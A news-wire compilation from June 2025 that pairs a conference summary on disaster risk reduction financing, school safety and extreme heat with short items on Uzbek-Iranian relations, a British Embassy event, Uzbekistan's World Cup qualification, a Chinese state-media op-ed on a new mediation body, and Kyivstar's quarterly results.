Finance is critical to implementation of the Sendai Framework on Disaster Risk Reduction (DRR), but investments have not kept pace with rising demands, and aid budgets are shrinking worldwide. In many sessions through the day, delegates focused attention on financing a wide range of needs, including school safety, measures to deal with extreme heat, and nature-based solutions (NbS).

High-level dialogue

What will it take to scale DRR financing solutions at the national and local level?

Journalist Mayowa Adegoke moderated the session.

Stine Renate Håheim, State Secretary to Minister of International Development, Norway, emphasized DRR financing as a high priority, saying, “it is better to prevent than repair afterwards.” She noted that one in three people globally-most in cities or highly vulnerable areas-are not covered by Early Warning Systems (EWS).

Hans Sy, CEO, SM Prime Holdings, explained his company’s investment in resilient building construction, such as building on concrete pillars to allow free flow of floodwaters. He stressed that risk-informed decisions based on science and technology “makes good business sense.”

Fatima Yasmin, Asian Development Bank (ADB), said the Bank regards DRR as a critical priority investment, particularly through supporting policy making, planning, advising on innovative investments, and incentivizing preparedness. On scaling DRR investments, she said financing should be fast, flexible and forward-looking.

Rob Wesseling, CEO, Co-operators Group, said no path to net zero emissions is possible without investment in both prevention and recovery. He encouraged governments to utilize the risk information gathered by insurance companies over decades to assist with decision making.

On mobilizing private sector investment, Velenkosini Fiki Hlabisa, Minister of Cooperative Governance and Traditional Affairs, South Africa, stressed that every cent invested in resilience and preparedness saves lives and livelihoods.

View of the panel during the Multi-Stakeholder Plenary. Source: IISD/ENB | Anastasia Rodopoulou.

Ministerial roundtable

Inclusive comprehensive school safety-strengthening resilience for children and youth in all hazards

The event, which convened 36 ministries, was co-chaired by Kamal Kishore, Special Representative of the UN Secretary General for Disaster Risk Reduction and Head, UNDRR, and Paul Steffen, Deputy Director, Federal Office for the Environment, Switzerland.

In opening remarks, Kishore encouraged delegates to endorse the Comprehensive School Safety Framework 2017 (CSSF), noting only 80 countries have done so, and for countries to make schools heat-resilient.

On school safety policies, Tunisia, Zimbabwe, Mongolia, Pakistan, and Saint Lucia recognized the CSSF. Portugal highlighted its DRR working group on children and youth. Brunei Darussalam, Kenya, and Portugal recognized the fundamental rights of children to safe school environments. Colombia highlighted its Law on Teaching for Sustainability, Climate Change, and Disaster Risk Management. Republic of Korea described its 2020 Child Safety Management Act.

Many countries identified education programming as fundamental to reducing risk and developing children as agents of change in their homes and communities. Malaysia, Uganda, Russia, Algeria and others described homegrown examples of such programmes, for example, student leadership groups and First Aid skills training.

Leaders from around the globe express their shared commitment to making schools safer and more resilient to disasters. Source: IISD/ENB | Anastasia Rodopoulou.

Several countries, including Greece, Kenya and Cuba, recognized the importance of social support to children experiencing disaster and loss, and the ensuing mental and emotional health impacts. The Holy See flagged the need for spiritual care of those “who have seen whole lives swept away.”

Most countries discussed sustainable and resilient school infrastructure, including standards for new or retrofitted buildings. Belgium, Republic of Moldova, and Singapore highlighted energy efficiency and climate resilience. On heat stress in schools, Singapore flagged cooling strategies and energy-efficient fans. Tunisia described its sustainable school network that integrates climate change, disaster risk, and biodiversity objectives. Spain said new schools need to be “climate shelters.” Bangladesh noted the construction of more than 5,000 cyclone-resistant schools.

Multistakeholder plenary

Investments in reducing risk and building resilience to accelerate investments in sustainable development

Kishore introduced the session, which was co-chaired by Paul Steffen, Federal Office for the Environment, Switzerland, and Paola Albrito, UNDRR. Kishore noted less than 1% of national budgets is allocated to DRR.

Countries presented their national commitments, such as Australia’s Disaster-Ready Fund, which is providing up to AUD 1 billion (USD 648 million) over five years for locally-identified needs, and Switzerland’s DRR commitment of more than CHF 2 billion (USD 2.5 billion) annually. Many expressed appreciation for international support, including for Moldova’s local adaptation plans in 38 communities, and Samoa’s community-based disaster risk management activities. Peru highlighted its introduction of budget flexibility for regional and local authorities, enabling rapid response to imminent hazards.

The Food and Agriculture Organization of the UN (FAO) reported that only 3% of all development assistance is allocated to agricultural DRR measures, even while these deliver significant returns in ensuring food security. Swiss Re highlighted the role of insurance in informing risk and mitigation measures, noting the availaility of parametric insurance, for example, against extreme heat events and flooding. The Resilience Action Fund showcased the work of the International Finance Corporation in developing the Building Resilience Index as a world-first metric for assessing the safety and risk of buildings for insurers and construction developers. The Latin America and the Caribbean Development Bank (CAF), India, and the UK welcomed innovative initiatives, such as a new center on extreme events, establishment of risk pools, and the use of AI to identify flood threats.

Delegates affirmed regional solidarity, demonstrated in Tunisia’s hosting of the Africa-Arab Platform for DRR in 2023, and Iran’s hosting of three regional organizations, including a Regional Center for Urban Water Management. Albania welcomed its responsibilities under the EU Civil Protection Code for cooperation among EU countries and other partners, which, he noted, enables access to advanced DRR solutions.

The International Organization for Migration highlighted its 2024 launch of Climate Mobility Innovation Labs for the Africa and Asia regions to develop solutions to climate-related mobility.

Steffen urged all present to accelerate investment in DRR, and to engage the private sector as key partners.

Ministerial Roundtable. Source: IISD/ENB | Anastasia Rodopoulou.

Special event on extreme heat

Moderator, Juli Trtanj, Co-Chair, Gobal Heat Health Information Network, opened the session. Celeste Saulo, Secretary-General, World Meteorological Organization (WMO), called heat a “silent killer” because it is the least managed of all climate hazards. She said 50% of countries have heat warning systems in place but only 26 have dedicated Heat Health EWS. She identified three priorities: integrating heat risk into climate and DRR governance, heat EWS, and implementation using risk information and data.

In his keynote, Pramod Kumar Mishra, Principal Secretary to the Prime Minister, India, said heat threatened public health, economic stability, and the ecological resilience of cities and communities. He underscored UNDRR’s Common Framework on Extreme Heat Risk Governance and drew attention to India’s national guidelines on heat wave management, which decentralized more than 250 heat action plans in 23 states. He called for scaling hospital and primary health care preparedness and resilience and noted India is adopting a long-term heat wave mitigation strategy, including roof-cooling technologies, passive cooling centers, revival of traditional water bodies, and improved thermal comfort and livability of informal settlements.

In a panel discussion, Benoît Faraco, Ambassador, Climate Negotiations for Decarbonized Energies and for the Prevention of Climate Risks, France, urged being modest since we are still discovering impacts and avoiding maladaptation. Ousmane Ndiaye, Director General, African Center for Meteorological Application for Development, stressed the links between heat waves, energy crises, and health care demand. Rosa Galvez, Senator, Canada, spoke about lived experience saying, “We cannot adapt forever – we must work on the causes.” Jagan Chapagain, Secretary-General, International Federation of the Red Cross and Red Crescent Societies (IFRC), said extreme heat is a humanitarian crisis. On involving the financial sector, Mia Seppo, Assistant Director General, International Labour Organization, discussed climate risk insurance, just transition principles, and access to essential services. Mishra advised that industry protect labor from heat risk.

Source: IISD/ENB | Anastasia Rodopoulou.

Special session

Comprehensive approaches to reduce loss and damage-bridging climate action and DRR

Fatou Jeng, Former Climate Advisor to the UN Secretary-General and Member of the Early Warnings for All Advisory Panel, moderated the session.

Ralph Regenvanu, Minister for Climate Change, Adaptation, Meteorology and Geo Hazards, Energy, Environment and Disaster Management, Vanuatu, appreciated the support from the Fund for responding to Loss and Damage (FRLD) and the Santiago Network, which combined forces to launch the inaugural integrated loss and damage and DRR initiative in Vanuatu.

Kishore noted that, while many DRR practices are now in place, these need to be updated to deal with climate system changes and the associated risks, uncertainty, and volatility.

Benoît Faraco, argued that the distinction between loss and damage, and DRR, is theoretical, and remains irrelevant to people on the ground who want response, prevention, action, and solidarity to alleviate their situation.

Ibrahima Cheikh Diong, Executive Director, FRLD, emphasized the need to look at how interventions can be most impactful, stressing that solutions must be country-led, and recognize Indigenous groups and civil society participants. He expressed awareness that the FRLD must be “nimble, accessible, flexible and built on partnerships, always ensuring no one is left behind.”

Carolina Fuentes Castellanos, Director, Santiago Network Secretariat, elaborated on how the network is supporting countries to accelerate loss and damage, using Vanuatu’s experience to demonstrate how the Network can accelerate fund distribution and support with bold and transformative support.

Jagan Chapagain, Secretary-General, IFRC, cautioned that the terms loss and damage represent different meanings to communities, but the bottom line is to ensure the funds really reach the local level.

Thematic Sessions

Catalyzing governance solutions for disaster and climate-related displacement

Irwin Loy, The New Humanitarian, moderated this session.

John Mussington, activist and displaced person, Antigua & Barbuda, described his work of founding the community network, Stronger Caribbean Together, with others displaced by “disaster capitalism”, as storm-damaged sites are cleared for tourism development.

Sakiasi Ditoka, Minister of Rural and Maritime Development and Disaster Management, Fiji, highlighted the 2023 Pacific Regional Mobility Framework and Fiji’s own planned relocation guidelines.

Zahra Abdi Mohamed, Director-General, National Center for Rural Development and Durable Solutions, Somalia, described Somalia’s National Transformation Plan that prioritizes anticipatory action and climate-smart livelihoods, responding to the needs of long-term displaced communities.

Fatimah Zannah Mustapha, community representative, Nigeria, called for centering the voices of local women in decision making by removing barriers, “whether digital, linguistic, or cultural.” Claudinne Ogaldes Cruz, Executive Secretary, National Coordinator for Disaster Reduction (CONRED), Guatemala, noted that many Guatemalan households are women-led and have the knowledge to inform decision making.

Robert Piper, former UN Secretary-General’s Advisor on Solutions to Internal Displacement, said line ministries responsible for decisions on land use and building codes-“those who are responsible for dealing with the failure to prevent”-must become deeply involved in the governance of disaster displacement.

Leveraging Values of Nature for Resilience: Moderated by Cecilia Aipira, United Nations Environment Programme (UNEP), the session addressed the role of nature-based solutions (NbS) in DRR.

In his keynote, Mohammed-Yahya Lafdal, General Director, National Environment and Coastline Observatory, Mauritania, highlighted the increase in tree cover through reforestation and restoration, taking into account Indigenous knowledge and solutions, and the development of barrier systems for water distribution and management in desert areas. He emphasized how addressing land degradation and rehabilitation has been Mauritania’s best solution for increasing resilience.

Rodrigo Hernández Escobar, Representative of the Latin American and Caribbean Indigenous Knowledge & DRR Network, highlighted political will and respect for Indigenous cosmovision and territories as key elements for leveraging traditional knowledge into programmes supporting NbS. Isaac Luwaga Mugumbule, Head of Landscaping, Kampala Capital City Authority, Uganda, stated that NbS are context-specific and require community involvement to be sustained.

Professor Satoru Nishikawa, Japan International Cooperation Agency (JICA), stressed the need for scientific numerical quantification, analysis, and testing on the strengths and durability of NbS. Swenja Surminski, London School of Economics, noting that NbS “are not silver bullets,” stressed the need to work with nature, drawing attention to NbS co-benefits. Oliver Schelske, Swiss Re Institute, noting the absence of standardized values for nature, emphasized that even if “not everything is insurable,” investing in nature makes sense from an insurance perspective, as it reduces risks to the asset being insured.

On the prerequisites for NbS to be viable, speakers mentioned common sense, co-benefit considerations, identifying the number of protected lives, and conducting independent auditing.

Thematic Sessions as visual summaries capturing key messages and insights. Source: IISD/ENB | Anastasia Rodopoulou.

Side event

Inclusive comprehensive school safety—Strengthening resilience for children and youth in all hazards

This side event, organized and facilitated by the Global Alliance for Disaster Risk Reduction and Resilience in the Education Sector (GADRRRES), showcased school safety and resilience programmes from Central Asia, the Pacific region and the Caribbean.

Anja Nielsen, Co-Chair, GADRRRES, gave an overview of CSSF, noting the all-hazards, all-risks approach that includes environmental, climate change, and biological health risks, technical threats, and other everyday risks. She elaborated on the global school safety survey, representing 350 million school-aged children, and highlighted, among other concerns, that significant infrastructure investment is needed to better protect children and teachers from natural hazards, with most suffering from funding constraints.

Education administrators from Saint Lucia, Tonga, and Kyrgyzstan described CSSF activities and outcomes from their regions, and emphasized: involving the children actively in school safety is a game changer; collaboration is the essence of resilience, requiring whole-of-government and whole-of-society approaches; and building capacity at all levels, particularly teachers, for comprehensive school safety is key.

IISD’s summary

The summary report of the meeting will be available on Monday, 9 June 2025, here.

MIL OSI United Nations News –

June 6, 2025
MIL-OSI Russia: Leaders of Uzbekistan and Iran held a telephone conversation

Translation. Region: Russian Federal

Source: People’s Republic of China in Russian – People’s Republic of China in Russian –

Source: People’s Republic of China – State Council News

Tashkent, June 6 (Xinhua) — Uzbek President Shavkat Mirziyoyev and Iranian President Masoud Pezeshkian held a telephone conversation, the press service of the Uzbek leader reported on Thursday.

“During a telephone conversation on June 5, President of the Republic of Uzbekistan Shavkat Mirziyoyev and President of the Islamic Republic of Iran Masoud Pezeshkian warmly congratulated each other and the friendly peoples of the two countries on the holy holiday of Eid al-Adha, sincerely wishing them peace, well-being and prosperity,” the statement said.

Current issues of further development of Uzbek-Iranian multifaceted relations were also discussed.

It is noted that active contacts and exchanges at the level of governments, ministries and departments were noted with satisfaction. The indicators of mutual trade and cargo transportation, as well as the number of joint ventures, are growing.

“In May of this year, the next meeting of the Intergovernmental Commission, a business forum and an industrial exhibition were fruitfully held in the city of Tehran. A “road map” of cooperation for 2025-2027 was adopted,” the statement said.

The presidents of the two countries noted the importance of further promoting cooperation projects in the fields of trade, investment, transport and logistics, industry and agriculture. The leaders of Uzbekistan and Iran also exchanged views on the regional agenda and the schedule of upcoming events. –0–

MIL OSI Russia News –

June 6, 2025
MIL-OSI United Kingdom: British Embassy in Ashgabat marks World Environment Day
Source: United Kingdom – Government Statements

World news story

British Embassy in Ashgabat marks World Environment Day

British Embassy in Turkmenistan hosts screening of Sir David Attenborough’s ‘A Life on Our Planet’ to mark World Environment Day 2025 in Ashgabat.
The British Embassy Ashgabat hosted a screening of Sir David Attenborough’s A Life on Our Planet.

The screening of A Life on Our Planet.

On 5 June 2025, to mark World Environment Day, the British Embassy Ashgabat hosted a special screening of Sir David Attenborough: A Life on Our Planet – a deeply moving documentary by one of the world’s most respected natural historians. The event was open to the public and attended by people of all ages.

The screening brought together young people and climate enthusiasts to reflect on the urgent need for global environmental action.

The Embassy’s decision to host this screening reflects the UK’s commitment to environmental protection, including through international information-sharing and cooperation. In Turkmenistan, the British Embassy will continue its shared mission with the Government, international partners, and the people of Turkmenistan, standing ready to support national efforts to tackle climate change, protect precious ecosystems, and build a more sustainable and resilient future for the country and the wider region.

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Published 6 June 2025
MIL OSI United Kingdom –
June 6, 2025
Uzbekistan savour sweet taste of success after sealing World Cup spot

Source: Government of India

Source: Government of India (4)

Uzbekistan coach Timur Kapadze lauded the efforts of his players after the Central Asian country qualified for the World Cup for the first time.

The White Wolves claimed their spot at the expanded 48-team 2026 finals on Thursday with a 0-0 draw in the United Arab Emirates, which guaranteed Kapadze’s side a top-two finish in Group A, alongside already-qualified Iran.

Uzbekistan have tried and failed to qualify seven times since their independence after the break-up of the Soviet Union in 1991, suffering heartbreak in the final stage of continental qualifiers for Germany 2006 and Brazil 2014.

A genuine force in Asia since their 1994 Asian Games triumph, the Uzbekistan FA has invested heavily in youth development in the attempt to take the final step onto the world stage.

Kapadze has reaped the dividends with a young generation of players, including Manchester City’s 21-year-old centre back Abdukodir Khusanov at his disposal.

“We have achieved an important result after a long and difficult journey. A lot of work was done for this result, I sincerely congratulate our people,” Kapadze told Uzbekistan’s online publication Zamin.

“This is not only our victory, but the victory of our entire people. Our players showed determination in every match, worked with all their might, and we achieved the result … “

Kapadze, who played 119 times for Uzbekistan and led the under-23 team at last year’s Olympic Games, was appointed coach after Srecko Katanec left because of illness in January.

“Before the game, (everyone) expressed their confidence in our team’s victory and expected a good result from us,” he said.

“This confidence also became a great responsibility and pressure for us. But we managed to overcome this pressure and complete the task.”

Kapadze was mobbed by his players in his post-match press conference and received a congratulatory telephone call from Uzbekistan President Shavkat Mirziyoyev.

“In a fierce competition against the strongest teams in Asia, you demonstrated true character, unbreakable will, and professionalism,” Mirziyoyev said.

-Reuters

June 6, 2025
MIL-OSI Russia: /Voice of the South/ Expert’s view｜The establishment of the International Mediation Organization is particularly relevant in the context of the current unstable situation

Translation. Region: Russian Federal

Source: People’s Republic of China in Russian – People’s Republic of China in Russian –

Source: People’s Republic of China – State Council News

Author: Serik Korzhumbayev

On May 30, a historic event took place in Hong Kong that could revolutionize the approach to international dispute resolution. Representatives of 32 countries signed the Convention Establishing the International Mediation Organization (IOM). Delegations from more than 85 countries and nearly 20 international organizations, including the UN, also attended the ceremony. The IOM became the world’s first intergovernmental body created exclusively for the peaceful resolution of international conflicts through mediation. China was the main initiator of this initiative, demonstrating new strategic thinking focused on dialogue, mutual respect, and joint search for solutions. In this analytical material, we examine the significance of the new body, China’s role in its development, and the IOM’s potential to promote peace and global cooperation.

The ceremony in Hong Kong’s Wanzai Business District was not just a diplomatic act, but a symbol of the beginning of a new era in international relations. In his speech, Wang Yi, member of the Politburo of the CPC Central Committee and head of the PRC Foreign Ministry, emphasized that the IOM reflects the spirit of the UN Charter, in particular Article 33, which mentions mediation as one of the preferred instruments for the peaceful resolution of disputes. For a long time, the international community lacked a specialized legal framework focused on dialogue. The IOM fills this gap by offering a universal platform for states, investors and commercial organizations.

The establishment of the IOM is particularly relevant in the context of the current unstable situation: growing geopolitical contradictions, trade wars, regional conflicts. In 2025, the world celebrates the 80th anniversary of the creation of the UN and the victory in World War II – it is symbolic that right now a mechanism is emerging that can replace confrontation with dialogue.

China’s initiative is not accidental. In recent years, Beijing has confidently positioned itself as a supporter of peace and diplomacy, acting as a mediator in resolving crises in Africa, the Middle East and Asia. The proposal to establish the IOM was put forward by China three years ago and became a logical continuation of the idea of a “community with a shared future for mankind” put forward by Chinese President Xi Jinping. This idea has now received institutional embodiment – with its center in Hong Kong.

China’s role in the creation of the IOM is not only a diplomatic success, but also a testament to its growing influence as a responsible global power. Unlike Western approaches, which often rely on coercion or rigid legal procedures, the Chinese model of mediation is based on principles of harmony, Confucian ethics, and consensus-seeking.

Chinese Foreign Minister Wang Yi noted that mediation is a “natural continuation” of China’s historical tradition of resolving disputes through mutual respect. The effectiveness of this approach has been proven in practice. In 2023, China brokered a historic rapprochement between Saudi Arabia and Iran, which was a breakthrough for the Middle East. Beijing has also played an active role in peace processes in Sudan, Myanmar and other countries, avoiding interference and relying on trust.

The choice of Hong Kong as the IOM headquarters has symbolic and strategic significance. As Wang Yi emphasized, Hong Kong’s return to China in 1997 is an example of a successful diplomatic settlement. The city, with its Anglo-Chinese legal system, business infrastructure, and status as an arbitration center in Asia, is ideal for such a structure. According to the International Arbitration Review of Queen Mary, University of London, in 2025 Hong Kong tied with Singapore as the preferred jurisdiction for dispute resolution.

The IOM also reflects China’s broader ambition to reform the global governance system. In a context of growing great power competition, China offers an inclusive, equitable order. The support of 32 founding members, including Indonesia, Pakistan, Serbia, and Cambodia, underscores the credibility of the Chinese initiative, especially among countries in the Global South.

IOM’s mission is to create a universal platform for resolving interstate, investment and commercial disputes through dialogue and voluntary participation. Unlike courts, where one often wins at the expense of the other, mediation involves a win-win solution, strengthening trust and stability in the long term.

IOM is based on the principles of equality, fairness and respect for sovereignty. The organization takes into account the specifics of different legal systems and offers a flexible approach that reduces the costs and time spent on dispute resolution. This makes mediation attractive not only for states, but also for businesses.

The creation of the IOM also offers an alternative to existing Western institutions, such as the International Court of Justice or the Permanent Court of Arbitration. While these bodies remain important, their procedures often exacerbate conflicts. China’s concept of a “culture of harmony” offers a different path – cooperation instead of confrontation, which is especially relevant in a context of global interdependence.

Despite the bright start, IOM has a difficult path ahead. One of the main challenges will be to ensure trust from a wide range of countries, including Western powers. Some analysts are already expressing doubts about IOM’s ability to remain a neutral structure amid global turbulence. However, professional mechanisms are being created for this purpose – training of mediators, uniform protocols, procedures for implementing decisions.

Ratification of the Convention by member states and expansion of membership, including major powers, will be of great significance. China has already promised to establish a team of high-level international mediators, which will give the organization credibility.

IOM can be a key instrument for de-escalation in hot spots from the South China Sea to the Middle East. In Central Asia, where integration and sustainable development are important, mediation can be used to resolve disputes over trade, investment, water, and energy. Kazakhstan, as a strategic partner of China, can also benefit from such an approach.

In closing, Wang Yi recalled the ancient Chinese parable of the “six-foot alley”: two neighbors each gave each other three feet to walk down a narrow street. The story is a metaphor for the IOM philosophy: the path to cooperation is through compromise. In a world where conflicts are becoming chronic, this idea sounds like a call to reason.

The creation of the IOM under the auspices of China is not just a diplomatic victory. It is an invitation to the world to resolve disputes not from a position of strength, but through equal dialogue. And if this structure works effectively, it will become the basis for a new architecture of international relations – more just, peaceful and inclusive.

Note: Serik Korzhumbayev is the editor-in-chief of the newspaper “Business Kazakhstan”.

The views expressed in this article are those of the author and do not necessarily reflect the views of Xinhua News Agency. –0–

MIL OSI Russia News –

June 6, 2025

MIL-OSI: Kyivstar Group Reports First Quarter 2025 Financial Results in Conjunction with its Nasdaq Listing Process

Source: GlobeNewswire (MIL-OSI)

Total operating revenue reaches USD 255 million or UAH 10.6 billion, up 37.1% year-on-year in USD and 49.6% in local currency terms
Profit for the period amounts to USD 44 million, up 22.2% year-on-year in USD and 33.7% in local currency terms, with a profit margin of 17.3%
Adjusted EBITDA¹ reaches USD 140 million, up 50.5% year-on-year in USD and 64.6% in local currency terms, with an adjusted EBITDA margin¹ of 54.9%
Completes acquisition of Uklon, Ukraine’s leading ride-hailing business, and increases stake in Ukraine’s leading digital health platform Helsi, subsequent to quarter-end

KYIV, Ukraine, June 05, 2025 (GLOBE NEWSWIRE) — Kyivstar Group, Ukraine’s leading digital operator (“Kyivstar Group” or “the Company”) and a subsidiary of VEON Ltd. (Nasdaq: VEON) (“VEON Group” or “VEON”), today announced its unaudited financial and operating results for the first quarter ended March 31, 2025.

	1Q25	1Q24	YoY		1Q25	1Q24	YoY
	USD mln or %				UAH bln or %
Total operating revenue	255	186	37.1	%	10.6	7.1	49.6	%
Profit for the period	44	36	22.2	%	1.8	1.4	33.7	%
Adj. EBITDA¹	140	93	50.5	%	5.8	3.6	64.6	%
_{Average UAH/USD exchange rates: 1Q25: 41.7563 UAH/USD; 1Q24: 38.1727 UAH/USD} _{End-of period UAH/USD exchange rates as of March 31, 2025: 41.4787 UAH/USD; as of March 31, 2024: 39.2214 UAH/USD} _{¹For more information, see section titled “Presentation of Non-IFRS Financial Measures” at the end of this press release, including the reconciliations of non-IFRS measures to IFRS measures.}

“Kyivstar Group continues to deliver exceptional value to our customers and stakeholders, leveraging our market-leading network and innovative digital services to drive growth,” said Oleksandr Komarov, CEO of Kyivstar Group. “Our first quarter results reflect the strength of our digital operator strategy, delivering robust financial growth. In parallel, we continue to invest in strategic opportunities that drive Ukraine’s digital future, such as the acquisition of Uklon and increasing our stake in Helsi. We are excited to complement this operational performance with the continued progress towards our plans to list Kyivstar Group on the Nasdaq Stock Market.”

First Quarter 2025 Financial and Operational Highlights

Robust Revenue Growth: Total operating revenue for 1Q25 was USD 255 million, up 37.1% year-on-year in USD and 49.6% year-on-year in local currency terms. This result includes the impact of the customer appreciation program undertaken by the Company in the first quarter of 2024 following a cyber security incident at the end of 2023, which lowered revenue in the first quarter of 2024 by an estimated USD 46 million (UAH 1.7 billion) in value. Excluding the impact of the customer appreciation program, local currency revenue growth was 20.1% year-on-year in 1Q25.
Strong Profitability: Adjusted EBITDA for 1Q25 was USD 140 million, up 50.5% year-on-year. This represents an adjusted EBITDA margin of 54.9% in 1Q25. In local currency terms, 1Q25 adjusted EBITDA growth was 64.6% year-on-year, and adjusted EBITDA margin was 54.9%, driven by revenue growth and a decrease in operating costs. Excluding the impact of the customer appreciation program, local currency adjusted EBITDA growth was 10.2% year-on-year in 1Q25.
Multiplay Customers Supporting Growth: The Multiplay customer base, which are customers who use at least one digital application in addition to 4G data and voice connectivity, was up by 40.7% year-on-year to 6.1 million customers, and represented 29.5% of one-month-active mobile customersⁱ reflecting increased adoption of digital products.
Digital Services Users: Total digital monthly active users across Kyivstar Group’s digital applications MyKyivstar, Kyivstar TV and Helsi reached 10.3 million in 1Q25, up 32.9% from 7.7 million a year earlier.

Strategic Milestones:

Announced business combination agreement with Cohen Circle Acquisition Corp. I (Nasdaq: CCIR) (“Cohen Circle”), beginning the process for Kyivstar Group to be the only pure-play Ukrainian investment opportunity on U.S. stock markets.
Completed the acquisition of Uklon, a leading Ukrainian ride-hailing and delivery platform, for approximately USD 155.2 million in April 2025. Uklon operates in 28 cities across Ukraine and facilitated more than 100 million rides and 3 million deliveries in 2024, and also provides ride-hailing services in Uzbekistan.
Increased ownership stake in Helsi, Ukraine’s largest digital platform, from 69.99% to 97.99% in May 2025. Helsi is a digital data management platform supporting the provision of healthcare services and improving patients’ access to healthcare with over 9.4 million appointments booked in the year ended December 31, 2024.

The results announcement is made concurrently with Kyivstar Group and VEON Holdings B.V.’s filing of a registration statement on Form F-4 (File No. 333-287802) in conjunction with Kyivstar’s anticipated listing on the Nasdaq Stock Market LLC (“Nasdaq”) following the anticipated completion of a business combination with Cohen Circle that was previously announced on March 18, 2025.

With the announcement of its 1Q2025 results, Kyivstar Group also updated the investor presentation available to its potential investors. A copy of the investor presentation will be available on a Current Report on Form 8-K to be filed by Cohen Circle with the SEC and available at www.sec.gov.

Additional Information and Where to Find It

Kyivstar Group Ltd. and VEON Holdings B.V. have filed on June 5, 2025 a registration statement on Form F-4 (File No. 333-287802) (as may be amended from time to time, the “Registration Statement) as co-registrants that includes a preliminary proxy statement/prospectus of Cohen Circle and a preliminary prospectus of Kyivstar Group. When available, Cohen Circle will mail a definitive proxy statement/prospectus relating to the business combination and other relevant documents to its shareholders. This communication does not contain all the information that should be considered concerning the business combination and is not intended to provide the basis for any investment decision or any other decision in respect of the business combination. VEON, Cohen Circle and Kyivstar Group may also file other documents regarding the business combination with the SEC. Cohen Circle’s shareholders and other interested persons are advised to read, when available, the Registration Statement, the proxy statement/prospectus and other documents filed in connection with the business combination, as these materials will contain important information. Investors and shareholders will be able to obtain free copies of the preliminary proxy statement/prospectus, the definitive proxy statement/prospectus and other documents filed or will be filed with the SEC by Cohen Circle through the website maintained by the SEC website at www.sec.gov or by directing a written request to: Cohen Circle Acquisition Corp. I, 2929 Arch Street, Suite 1703, Philadelphia, PA 19104.

About Kyivstar Group

Kyivstar Group operates Ukraine’s leading digital operator, serving more than 23 million mobile customers and over 1.1 million home internet fixed line customers as of December 31, 2024. Kyivstar Group and its subsidiaries provide services across a wide range of mobile and fixed line technologies, including 4G, big data, cloud solutions, cybersecurity, digital TV, and more. VEON, together with Kyivstar Group, intends to invest USD 1 billion in Ukraine during 2023-2027, through social investments in infrastructure and technological development, charitable donations and strategic acquisitions. Kyivstar Group and its subsidiaries have been operating in Ukraine for more than 27 years. For more information, visit: www.kyivstar.ua.

About VEON

VEON is a digital operator that provides converged connectivity and digital services to nearly 160 million customers. Operating across six countries that are home to more than 7% of the world’s population, VEON is transforming lives through technology-driven services that empower individuals and drive economic growth. VEON is listed on Nasdaq. For more information, visit: https://www.veon.com.

About Cohen Circle

Cohen Circle Acquisition Corp. I is a special purpose acquisition company sponsored by investment firm Cohen Circle, LLC and formed for the purpose of effecting a merger, share exchange, asset acquisition, share purchase, reorganization or similar business combination with one or more technology and/or financial services businesses. Cohen Circle’s units, Class A ordinary shares and warrants are listed on Nasdaq under the symbols “CCIRU,” “CCIR” and “CCIRW,” respectively.

No Offer or Solicitation

This press release shall not constitute a solicitation of a proxy, consent, or authorization with respect to any securities or in respect of the transactions mentioned herein or the proposed business combination with Cohen Circle. This press release does not constitute an offer to sell or the solicitation of an offer to buy any securities, nor shall there be any sale of securities in any states or jurisdictions in which such offer, solicitation, or sale would be unlawful prior to registration or qualification under the securities laws of any such jurisdiction. No offering of securities shall be made except by means of a prospectus meeting the requirements of Section 10 of the Securities Act of 1933, as amended.

Participants in the Solicitation

Cohen Circle, Kyivstar Group, certain shareholders of Cohen Circle, VEON and certain of Cohen Circle’s, Kyivstar Group’s and VEON’s respective directors, executive officers and other members of management and employees may, under SEC rules, be deemed to be participants in the solicitation of proxies from the shareholders of Cohen Circle with respect to the proposed business combination. A list of the names of such persons and information regarding their interests in the proposed business combination is set forth in the Registration Statement. Free copies of these documents may be obtained from the sources indicated above.

Financial Information Presented

Kyivstar Group’s results and other financial information presented in this document are, unless otherwise stated, prepared in accordance with International Financial Reporting Standards (“IFRS”) and have not been externally reviewed and/or audited. The financial information included in this document is preliminary and is based on a number of assumptions that are subject to inherent uncertainties and subject to change. The financial information presented herein is based on internal management accounts, is the responsibility of management and is subject to financial closing procedures which have not yet been completed and has not been audited, reviewed or verified. Certain amounts and percentages that appear in this document have been subject to rounding adjustments. As a result, certain numerical figures shown as totals, may not be an exact arithmetic aggregation of the figures that precede or follow them. Although we believe the information to be reasonable, actual results may vary from the information contained above and such variations could be material. As such, you should not place undue reliance on this information. This information may not be indicative of the actual results for the current period or any future period.

Forward-Looking Statements

This press release contains “forward-looking statements,” as the phrase is defined in Section 27A of the U.S. Securities Act of 1933, as amended, and Section 21E of the U.S. Securities Exchange Act of 1934, as amended. These forward-looking statements generally are identified by the words “anticipate,” “believe,” “estimate,” “expect,” “forecast,” “future,” “intend,” “may,” “opportunity,” “plan,” “project,” “should,” “strategy,” “will,” “will be,” “will continue,” “will likely result,” “would” and similar expressions (including the negative versions of such words or expressions).

Forward-looking statements are predictions, projections and other statements about future events that are based on current expectations and assumptions and, as a result, are subject to risks and uncertainties. All statements contained in this press release that do not relate to matters of historical fact should be considered forward-looking statements, including, without limitation, statements relating to, among other things, the timing of the closing of the proposed business combination and the listing of Kyivstar Group’s common shares and warrants on Nasdaq, the expected investment opportunity in Kyivstar Group following the closing of the business combination, including the expectation that Kyivstar Group will be the only pure-play Ukrainian investment opportunity and the growth potential of Kyivstar Group. These statements are based on VEON, Cohen Circle and Kyivstar Group management’s current expectations. These statements are neither promises nor guarantees, but involve known and unknown risks, uncertainties and other important factors that may cause Kyivstar Group’s, VEON’s or Cohen Circle’s actual results, performance or achievements to be materially different from any future results, performance or achievements expressed or implied by the forward-looking statements in this press release, including, but not limited to, the inability to complete the business combination due to the failure to obtain the necessary shareholder approvals or to satisfy other conditions to closing; changes to the proposed structure of the business combination that may be required or appropriate as a result of applicable laws or regulations; the decision by the SEC to deem effective the Registration Statement; the ability to meet the Nasdaq listing standards upon closing of the business combination and admission of Kyivstar Group for trading on Nasdaq; changes in applicable laws or regulations; the escalation or de-escalation of war between Russia and Ukraine; the successful integration of Uklon; continued growth in digital services; and other risks and uncertainties set forth in the section entitled “Risk Factors” included in the Registration Statement filed by Kyivstar Group with the SEC on June 5, 2025 and in any other subsequent filings with the SEC by Kyivstar Group or Cohen Circle. Forward-looking statements are inherently subject to risks and uncertainties, many of which VEON, Kyivstar Group and Cohen Circle cannot predict with accuracy and some of which neither VEON, Kyivstar Group nor Cohen Circle might not even anticipate. The forward-looking statements contained in this press release speak only as of the date of this release. VEON, Kyivstar Group and Cohen Circle do not undertake to publicly update any forward-looking statement to reflect events or circumstances after such date or to reflect the occurrence of unanticipated events, except as required by U.S. federal securities laws.

